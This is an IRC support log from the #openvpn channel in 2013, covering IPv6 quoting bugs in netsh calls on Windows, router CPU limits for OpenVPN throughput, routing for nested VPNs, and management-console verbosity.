15:54 -!- mattock is now known as mattock_afk
15:57 -!- magoo [~mattw@209.114.46.149] has quit [Ping timeout: 245 seconds]
15:58 -!- magoo [~mattw@209.114.46.149] has joined #openvpn
16:07 < JackSparrow> hi, can I disable IPv6 client-side even if the server push tun-ipv6 ?
16:09 < alexander__b> is there some neat way to make openvpn restart quickly?
16:09 < alexander__b> if I suspend to RAM, I have to restart my dæmon lest I have ages to wait...
16:11 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:12 < pekster> alexander__b: Send a SIGUSR1 as part of your post-resume scripts, or adjust your --keepalive (see !keepalive) settings to reduce the time until a client considers the session dead
16:14 < pekster> JackSparrow: Not an openvpn option, no. You have a few options, such as disabling your OS IPv6 support for that interface, not accepting any of the pushed server options (although that has other implications) or using --ifconfig-noexec, requiring you to handle setting IPv4 settings yourself
16:14 < pekster> Another option would be not to push IPv6 to that particular client
16:14 < JackSparrow> pekster: okay, thanks
16:15 < JackSparrow> i dont really want to restart the whole server now
16:15 < JackSparrow> i'll try to patch the client instead of ignoring ipv6
16:15 < JackSparrow> (it seems to not put quotes in a netsh.exe call)
16:16 -!- landono [~landono@199-58-199-98.acedc.net] has left #openvpn []
16:16 < pekster> Is something in particular not working for you JackSparrow? If so, I'd like to know so I can see about fixing it
16:16 < JackSparrow> yeah
16:16 < JackSparrow> we have spaces in Windows connection names here
16:16 < alexander__b> pekster: uhm I don't have any post-resume scripts, so I guess I have to look into that
16:16 < JackSparrow> i'll give you an example
16:17 < JackSparrow> "C:\Users\Foxinou>netsh.exe interface ipv6 set address Connexion au réseau local 3 2001:41d0:8:144d:cc::45 store=active"
16:17 < JackSparrow> it should be:
16:17 < pekster> JackSparrow: That I know, becuase I fixed the "Local area connection X" issue personally with a prior patch, at least for IPv4
16:17 < JackSparrow> C:\Users\Foxinou>netsh.exe interface ipv6 set address "Connexion au réseau local 3" 2001:41d0:8:144d:cc::45 store=active
16:17 < pekster> Yea, I'll look at the sources for the IPv6 stuff and see if a similar regression exists
16:18 < JackSparrow> thanks. :)
16:20 < JackSparrow> pekster: If you have questions about it, come in #ccrypto or ask Foxinou on this server.
16:23 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:27 -!- Slippern [slippern@server02.hjemmeserver.info] has joined #openvpn
16:28 -!- Denial [Denial@90.208.15.68] has quit []
16:30 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
16:32 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:33 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection reset by peer]
16:34 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:40 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 260 seconds]
16:41 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
16:55 < pekster> Stupid Windows... it's not the space in the Interface that's the problem, but the non-English device name. Dumb OS
16:56 < spacedust> try opening it
16:56 < spacedust> wider
16:56 < spacedust> maybe the fresh air will cure it, if not ... close it :)
16:56 < pekster> JackSparrow: I'm playing with quoting the device name, but in the meantime, you can simply rename your device so something without international charsets, like "tap0" or something
16:56 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 240 seconds]
16:57 < JackSparrow> pekster: yeah, he has done that and it works, i'll remember that solution for the next time
16:57 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
16:57 < pekster> It's a Windows problem, but apparently openvpn gets to hack around it. And people wonder why I tend to hate Microsoft...
16:58 < pekster> The error the netsh API returns is: "The filename, directory name, or volume label syntax is incorrect."
16:58 < pekster> How helpful
16:58 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
17:07 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:14 -!- bitg [bitg@gateway/shell/xzibition.com/x-nukxwubmvxmyisuf] has quit [Ping timeout: 260 seconds]
17:14 -!- p3rror [~p3rror@41.249.3.163] has quit [Ping timeout: 255 seconds]
17:20 -!- bitg [bitg@gateway/shell/xzibition.com/x-togudtnhdreqcwxt] has joined #openvpn
17:44 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
17:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:05 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
18:05 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 248 seconds]
18:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
18:05 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
18:39 -!- eennaam [~pi@unaffiliated/eennaam] has quit [Ping timeout: 240 seconds]
18:44 -!- eennaam [~pi@unaffiliated/eennaam] has joined #openvpn
18:49 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Quit: Leaving..]
18:53 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
18:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:04 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has quit [Ping timeout: 264 seconds]
19:05 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
19:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:23 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
19:25 -!- [fred] [fred@konfuzi.us] has joined #openvpn
19:34 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
19:36 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 240 seconds]
19:48 -!- raidz is now known as raidz_away
19:50 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
20:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:06 -!- C_S_B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has quit [Ping timeout: 255 seconds]
20:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:11 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
20:17 -!- atan [~atan@unaffiliated/atan] has joined #openvpn
20:17 < atan> Anyone able to point me at articles about OpenVPN-over-DNS?
20:18 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
20:20 -!- vaillor_ [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit []
20:23 < pekster> atan: The fundamental is no different than any other encapsulating protocol. You might be better off looking at obfs though:
20:23 < pekster> !obfs
20:23 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used.
20:23 <@vpnHelper> in static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
20:29 < atan> Thank you pekster!
20:36 < cornfeedhobo> pekster: thank you for the help the other day. I ended up with a bridged setup that is working nicely
20:37 -!- abyss_ [~abyss@i-free.pl] has quit [Ping timeout: 248 seconds]
20:38 -!- abyss [~abyss@i-free.pl] has joined #openvpn
20:40 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn ["When I leave, come together like butt cheeks."]
20:46 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
20:47 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 276 seconds]
20:50 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
20:51 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:55 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
21:08 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
21:11 -!- alexander__b [~alexander@fsf/member/alexanderb] has quit [Ping timeout: 276 seconds]
21:15 -!- alexander__b [~alexander@107.4.189.109.customer.cdi.no] has joined #openvpn
21:24 -!- JSharpe [~JSharpe@ns264658.ovh.net] has quit [Ping timeout: 255 seconds]
21:25 -!- Xgates [~Xgates@unaffiliated/xgates] has joined #openvpn
21:25 < Xgates> hey guys
21:26 < Xgates> by chance anyone here running the OpenVPN client in dd-wrt? I'm trying to figure out what is the best recommended specs for a router to use the OpenVPN client in dd-wrt? I've been trying to get an answer out of the dd-wrt forum or channel on freenode, but no luck
21:27 < Xgates> My router is a Netgear WNDR3700v4 and it's specs are; 560mhz cpu - 128mb ram - 128mb flash and I can't believe this is not fast enough... :(
21:27 < pekster> I run openvpn on openwrt on a unit with a 400MHz MIPS processor, 32M RAM, and 8 MB flash
21:28 < pekster> I've done it in 16M/8M before, but that's a tight fit
21:29  * pekster is not a fan of dd-wrt; they have a history of security problems that they then choose to ignore or downplay
21:31 -!- cornfeedhobo_ [~cornfeedh@surya.fuzzlabs.org] has joined #openvpn
21:31 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:32 -!- cornfeedhobo_ [~cornfeedh@surya.fuzzlabs.org] has left #openvpn []
21:33 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
21:34 < Xgates> Well the wndr3700v4 doesn't have support for openwrt or I'd check it out
21:35 < Xgates> someone on the dd-wrt forum told me  560mhz was to slow but then he didn't reply to tell me what was good enough, so I was like great, you tell someone that asks for specs and all you say is no and don't tell them what
21:35 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
21:36 < pekster> The processor ends up being the limiting factor, unless you're connecting lots of clients; IIRC when I did a lab test of 1k clients, each one ate around 600k on my 32-bit x86 platform
21:36 < Xgates> I can't believe that 560mhz; 128M ram & 128M flash isn't good enough, thing is when I look at the Stats page in dd-wrt there isn't much of a load on the cpu or router, so I don't get that.... cpu to slow but it barely gets like a 20% load on it
21:37 < Xgates> well I'm the only one connected when I'm testing the download speeds
21:37 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:38 < Xgates> I dont know but in my geek world, someone tells me the cpu to slow then it gets pretty loaded like 75%-100% not 20%-25%
21:38 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:40 < Xgates> pekster: how fast of cpu do you need for openwrt to get full bandwidth for openvpn client?
21:40 < Xgates> sucks they don't have a version of firmware for my router
21:40 < Xgates> :(
21:42 < pekster> Without clarifying "how much" it's impossible to say
21:42 < pekster> There's no way without hardware crypto acceleration you'll come close to saturating a 100Mbps link at that speed, much less GigE
21:42 < pekster> If you want those kinds of speeds, invest in real hardware
21:43 < pekster> If you're looking to use most/all of a traditional high-speed Internet uplink, it'll generally be fine
21:43 < Xgates> I only have a 20MB line so I don't need a lot of DL speed just 2.0-2.2MB is all
21:43 < Xgates> what I don't get is I see the router hit 1.0MB dl speed so I don't get why it can't get another 1MB of speed on top of it
21:44 < Xgates> sorry without  clarifying what?
21:44 < pekster> bandwidth
21:45 < Xgates> ahh ok as I mentioned my line at home is only 20MB line speeds, so that's 2.0MB DL / 1.0MB UL is all I need
21:45 < Xgates> so not sure that I really need something more extreme than what I have...
21:46 < pekster> Probably not, although your suffixes don't make any sense. bandwidth is usually measured in Mbps (Megabits per second, base-10, not SI) and I have no clue where 2 and 1 come from based on your 20
21:46 < Xgates> sorry one sec
21:46 < pekster> Doesn't really matter, since you're not in need of more powerful hardware at those speeds
21:46 < Xgates> my line speed my bad is 20mbps
21:47 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:47 < pekster> You might run into issues pushing that over that hardware (I'd expect in the realm of 10-15Mbps, give or take a bit, after you add up all the crypto, context switching, and soft-IRQ of the raw network sockets)
21:47 < Xgates> so If I'm correct that's a 2.0mbps DL speed & 1.0mbps UL speed roughly...
21:48 < pekster> huh? No...
21:48 < pekster> 20Mbps is 20Mbps
21:48 < pekster> It's a number. What you "get" for upload/download is between you and your provider
21:48 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
21:48 < Xgates> yes 20mbps is
21:48 < Xgates> that's the Line speeds, I'm saying what it translates into as the DL Speeds
21:48 < pekster> So what does that have to do with your download speeds? If I'm paying a company for 20Mbps downlink, I expect to get very hear that
21:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:49 < pekster> You're quite mistaken. "line speeds" are the actual transmission speeds of the protocol over the wire
21:49 < pekster> What you "get" based on that might be limited by your provider, but I quite frankly don't care
21:49 < Xgates> yes I know sorry I'm not explaining this... I'm saying in an application like Firefox or another app you download with
21:50 < pekster> 8 Mbps = 1 MB/s
21:50 < pekster> 8 bits = 1 byte
21:50 < Xgates> you know DownThemAll or Sabnzbd?
21:50 < pekster> If you can't figure out how to convert between basic units of measurement, this channel isn't the place to learn
21:50 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
21:50 < Xgates> sorry I know the specs I'm just talking about what an application shows you is all
21:50 < pekster> Chances are very good you're mixing up suffixes without realizing it
21:50 < pekster> Time to read up on bit vs byte, and powers of 2 vs 10
21:50 < Xgates> pekster: HOLD ON hehe
21:50 < Xgates> :P
21:51 < Xgates> one sec hehe
21:51 < Xgates> I know all this I'm talking about what an application shows you so let me show ya what I mean
21:51 < Xgates> one sec
21:51 < pekster> I'm saying you have completely bogus info. I don't give a crap what your application is showing you, becuase it's clearly not the same thing. Try a basic networking guide if you don't understand that
21:52 < Xgates> you want to listen to what I'm trying to say?
21:52 < pekster> Nope.
21:52 < Xgates> ok well sorry you didn't have to explain everything you just did then I know this already
21:53 < pekster> Apparently not, becuase 20 != 2. 20 /8 ~= 2, which is where I'm guessing your confusion comes from. That's all well and fine, but doesn't seem to apply to openvpn at all
21:54 < Xgates> I'm not confused about anything, I was only pointing out how applications show you speeds is all
21:55 < Xgates> anyhow know worries I do appreciate the help, still just trying to figure out if my cpu is to slow for the openvpn client for 20mbps
21:55 < Xgates> anyhow know/no ....
21:56 < pekster> That I already answered above, and I'm not doing again
21:56 < Xgates> that I saw :)
22:01 < Xgates> thanks for the help pekster
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Xgates [~Xgates@unaffiliated/xgates] has left #openvpn []
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:05 -!- chenli [~chenli@59.108.60.58] has quit [Read error: Connection reset by peer]
22:06 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:13 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
22:29 -!- rawtaz [~rawtaz@rho.hobbyhotellet.se] has quit [Read error: Operation timed out]
22:30 -!- rawtaz [~rawtaz@rho.hobbyhotellet.se] has joined #openvpn
22:53 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
23:07 -!- emid [~emid@ec2-107-22-8-196.compute-1.amazonaws.com] has joined #openvpn
23:17 -!- JAVACODER [~JAVACODER@2.190.34.186] has joined #openvpn
23:49 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:56 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
--- Day changed Thu Jun 13 2013
00:03 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 240 seconds]
00:15 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
00:17 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 276 seconds]
00:45 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:45 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:45 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:46 -!- overtwo [~overtwo@pool-173-60-224-83.lsanca.fios.verizon.net] has joined #openvpn
00:46 < overtwo> i'm having some trouble....anyone around that may be able to help? much appreciated
00:49 < overtwo> i've got my openvpn server set up and running. now i'm trying to configure it so it's behind a second vpn (client side) and i've opened the proper ports. I can connect but when i try to browse the web i get stuck in a loop
00:49 < overtwo> i believe it has something to do with iptables but i can't figure it out
00:50 < EugeneKay> Routing.
00:50 < EugeneKay> You're doing redirect-gateway def1 at both levels?
00:51 < overtwo> not sure? still new to openvpn sorry in advance for my newbness
00:51 < EugeneKay> Well, you say "browse the web". Typically that means
00:51 < EugeneKay> !redirect
00:51 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:51 <@vpnHelper> http://ircpimps.org/redirect.png
00:51 < EugeneKay> That stuff ^
00:53 < overtwo> ok thank you. my redirect is fine when connected normally to my vpn
00:53 < overtwo> but as soon as i connect to AirVPN i loose internet on client side
00:55 < overtwo> i can still see my smb drives though so i know it's connectd properly
00:56 < EugeneKay> What's happening is you're adding the routes twice
00:56 < overtwo> hmm
00:56 < EugeneKay> To fix it you want to push a lesser set of routes with the first vpn layer. Eg, just the IPs of the second-layer vpn server.
00:57 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
00:57 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Quit: emmanuelux]
00:58 < overtwo> here is what my rc.local looks like, am i headed in the right direction?
00:59 < overtwo> iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
00:59 < overtwo> iptables -A FORWARD -s 10.8.0.0/24 -j ACCEPT
00:59 < overtwo> iptables -A FORWARD -j REJECT
00:59 < overtwo> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o wlan0 -j MASQUERADE
00:59 < EugeneKay> !paste
00:59 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments comments
01:00 < EugeneKay> This is dealing with the server.conf lines containing "push route" statements
01:00 < EugeneKay> !configs
01:00 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
01:00 < overtwo> ok so nothing to do with rc.local? i can leave that alone....
01:01 < EugeneKay> Not directly, no.
01:01 < EugeneKay> Those rules do look like they'll do the job you want tho
01:02 < overtwo> don't laugh, i know it says wlan0 :P
01:02 < EugeneKay> I'm not one to judge
01:03 < overtwo> lol.....ok, so my push routes are commented out.
01:04 < overtwo> thank you for pointing me in the right direction. much appreciated!
01:04 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 255 seconds]
01:04 < EugeneKay> Sure thing.
01:05 < overtwo> now i do have this: push "redirect-gateway def1"
01:06 < overtwo> and: push "dhcp-option DNS 10.8.0.1"
01:07 < EugeneKay> Yeah, that's what i was talking about
01:07 < EugeneKay> You should change the first line to: push "route 1.2.3.4/5"
01:07 < EugeneKay> Where that works out to the subnet of IP addresses used by the AirVPN provider.
01:08 < overtwo> ohhhh ok i see now
01:08 < EugeneKay> redirect-gateway translates into two routes, 0.0.0.0/1 and 128.0.0.0/1.
01:09 < EugeneKay> This is some trickery to prevent nuking your ACTUAL gateway route, which is 0.0.0.0/0
01:09 < overtwo> so i'm safe to use those routes? they are just for example only?
01:09 < EugeneKay> Which?
01:10 < overtwo> 1.2.3.4/5
01:10 < EugeneKay> <EugeneKay> Where that works out to the subnet of IP addresses used by the AirVPN provider.
01:10 < EugeneKay> Get a list of IPs/subnets from them
01:10 < overtwo> ok i'll check now thank you
01:11 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:16 < overtwo> https://airvpn.org/specs/
01:16 <@vpnHelper> Title: Technical Specs - AirVPN (at airvpn.org)
01:19 < EugeneKay> What you need is the IP of the server(s)
01:20 < EugeneKay> Which aren't listed there
01:23 < overtwo> lol now "their tubes are clogged"
01:27 -!- atan [~atan@unaffiliated/atan] has quit [Read error: Operation timed out]
01:28 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Operation timed out]
01:28 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
01:31 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Operation timed out]
01:32 < overtwo> i'll shoot them an email tonight and go at it again tomorrow. Thanks again for all your help!
01:33 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
01:34 -!- atan [~atan@unaffiliated/atan] has joined #openvpn
01:47 < overtwo> real quick, i can see the server address in my config file. can i use that?
01:47 < EugeneKay> Yup
01:47 < EugeneKay> Is it a static IP or a hostname?
01:47 < overtwo> ip
01:47 < EugeneKay> Oh well there you go.
01:48 < EugeneKay> Just put in 1.2.3.4/32 and call it a day
01:49 < overtwo> do i need to enter the correct subnet mask from the tech specs page i sent earlier?
01:49 < EugeneKay> No; that's a separate thing entirely
01:49 < overtwo> ahh
01:49 < EugeneKay> You just want to route to the single IP address of the remote server, which is /32
01:50 < overtwo> sorry, but where does the /32 come from?
01:50 < EugeneKay> IP subnetting. It means "a single address"
01:50 < overtwo> ok, that makes sense
01:50 < overtwo> will apply and start the server and see what happens...
01:51 < overtwo> restart*
01:51 -!- rustyc [~rusty@ip68-2-159-136.ph.ph.cox.net] has joined #openvpn
01:57 -!- overtwo [~overtwo@pool-173-60-224-83.lsanca.fios.verizon.net] has quit [Ping timeout: 256 seconds]
01:58 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
02:00 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
02:02 -!- overtwo [~overtwo@pool-173-60-224-83.lsanca.fios.verizon.net] has joined #openvpn
02:02 < overtwo> lol, apparently freenode doesn't like airvpn. o.O
02:03 < EugeneKay> Surprise.
02:03 < overtwo> anyways, it connected fine but i still nothing when browsing
02:03 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:03 < EugeneKay> !logs
02:03 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
02:04 < EugeneKay> Though I suspect I'll be telling you to talk to their support pretty quickly.
02:07 < overtwo> yea, nothing interesting in the log file :/
02:07 < EugeneKay> To you maybe
02:07 < overtwo> unless i'm looking at the wrong one
02:08 < overtwo> -debian
02:08 < overtwo> !logfile
02:08 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
02:14 -!- JAVACODER [~JAVACODER@2.190.34.186] has quit [Remote host closed the connection]
02:17 -!- dazo_afk is now known as dazo
02:18 < overtwo> http://pastebin.com/M5nS5s9T
02:24 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Read error: Operation timed out]
02:29 -!- mattock_afk is now known as mattock
02:30 -!- thmzz [~thmzz@80.241.95.146] has left #openvpn []
02:30 < overtwo> client log: http://pastebin.com/cHXMw4Pv
02:34 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
02:34 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
02:39 < overtwo> is that server log correct? or am i missing something?
02:40 < EugeneKay> Ah, you're on Android?
02:40 < overtwo> yezzir
02:40 < overtwo> that the problem?
02:40 < EugeneKay> Then I have no fucking idea.
02:40 < overtwo> rofl
02:41 < overtwo> the nexus 4 only has 16gb so i set up a smb network drive that i access through openvpn
02:42 < overtwo> just trying to get it to send my traffic through airvpn as well...oh well, maybe another day
02:42 < EugeneKay> It's just a lot harder to debug this sort of thing
02:42 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
02:43 < overtwo> it is rooted and i have terminal emulator if that helps
02:43 < EugeneKay> Not really :-p
02:43 < overtwo> damn
02:43 < overtwo> lol
02:43 < EugeneKay> Wait, do you want to do vpn-within-vpn? Or just have your SMB accessible at the same time as using airvpn?
02:44 < overtwo> vpn-within-vpn
02:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:44 < EugeneKay> Ah OK.
02:44 < EugeneKay> Well, I would try to get it working on a laptop first
02:44 < EugeneKay> Then port the config to the N4
02:45 < overtwo> i see, good idea..
02:46 < overtwo> so basically, i connect to airvpn through network manager. then start my openvpn server. then access with client. that vpn-within-vpn correct?
02:46 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
02:49 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
02:53 < overtwo> or maybe i just want to access my smb while using airvpn? i'm confused lol
02:53 < overtwo> and tired*
02:55 < overtwo> oh well, i'll hop on tomorrow and give it another shot. thanks again!
03:00 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
03:04 -!- jww [~jww@LPuteaux-156-14-28-187.w82-127.abo.wanadoo.fr] has joined #openvpn
03:04 < jww> Hello.
03:05 < jww> I cannot find how to turn off what's looks like debug messages from the console. those appears every 5 seconds it's very annoying.
03:06 -!- streulma [~chatzilla@91.182.87.40] has joined #openvpn
03:09 < streulma> hello, does someone know how to connect to vboxnet0 iface from openvpn ?
03:10 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Read error: Operation timed out]
03:13 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
03:35 -!- atan [~atan@unaffiliated/atan] has quit [Remote host closed the connection]
03:46 <@plaisthos> overtwo: try to do the show information button in 0.5.36a in log window or upgrade to 0.5.38 first to show your interface configuration
03:46 <@plaisthos> maybe you missing something like a default route
03:49 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
03:54 < EugeneKay> jww - sounds like you have --verb turned up
03:54 < EugeneKay> Set it to 1
03:55 -!- spodletela [~irukandji@94.242.213.101] has quit [Quit: My doctor says that I have a malformed public-duty gland and a natural deficiency in moral fibre and that I am therefore excused from saving universes.]
04:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:16 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
04:19 -!- hg_5_ [~chatzilla@93.154.173.52] has joined #openvpn
04:22 < jww> EugeneKay: I tried mute 0 / verb 0 without success earlier, let'e try with 1.
04:22 < jww> EugeneKay: nop the messages still spawn.
04:23 < EugeneKay> !logs
04:23 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
04:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
04:24 < jww> EugeneKay: there are a log of client on this server, the logs will be huge.
04:24 < jww> maybe I could look for just what you need ?
04:24 < EugeneKay> Well
04:24 < EugeneKay> What sort of messages ARE they?
04:24 < EugeneKay> I can't go on guesswork here ;-)
04:25 < jww> it's informations starting by CLIENT.ENV  , for example >CLIENT:ENV,X509_0_CN=someone
04:26 -!- hg_5_ [~chatzilla@93.154.173.52] has quit [Ping timeout: 252 seconds]
04:26 < jww> I got a bunch of those for every client.
04:26 < EugeneKay> Out of curiousity, did you restart the `openvpn` process after changing to --verb 0?
04:27 < jww> oh no I changed only in the console, and did not restarted.
04:27 < EugeneKay> -_-
04:28 < jww> do you think it need to be restarted ?
04:28 < EugeneKay> I'm sure of it.
04:28 < EugeneKay> How are you expecting the changes to take effecto therwise?
04:29 < jww> since it's in the console, I expected the change to be ok.
04:29 < jww> I did not changed the config file, I just typed 'verb 0' in the management console.
04:30 < jww> okay I restarted, with no changes , those messages are still spawning.
04:31 < jww> that quite stupid I never had this problem before.
04:31 < EugeneKay> Are you talking about seeign messages on the management console?
04:31 < jww> yes.
04:32 < EugeneKay> Ahhhh.
04:32 < EugeneKay> --verb and --mute deal with the --log
